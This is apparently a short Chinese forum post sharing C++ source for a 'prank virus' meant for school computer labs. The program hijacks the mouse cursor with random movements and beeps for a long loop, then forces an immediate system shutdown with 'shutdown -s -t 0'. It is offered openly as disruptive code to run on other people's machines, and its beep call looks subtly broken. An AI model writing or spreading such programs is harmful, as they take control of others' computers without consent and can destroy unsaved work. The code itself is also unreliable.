自制机房整活病毒

· · 休闲·娱乐

#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
int main() {
    cout << "这是一个坑人病毒,如果你不能及时关闭它,就会发生很危险的事";
    for (int i = 1; i <= 100000000; ++i) {
        srand(time(0));
        int x=rand()%2000+300;
        int y=rand()%1200+300;
        SetCursorPos(x,y);
        beep(x + y);
    }
    system("shutdown -s -t 0");
    return 0;
}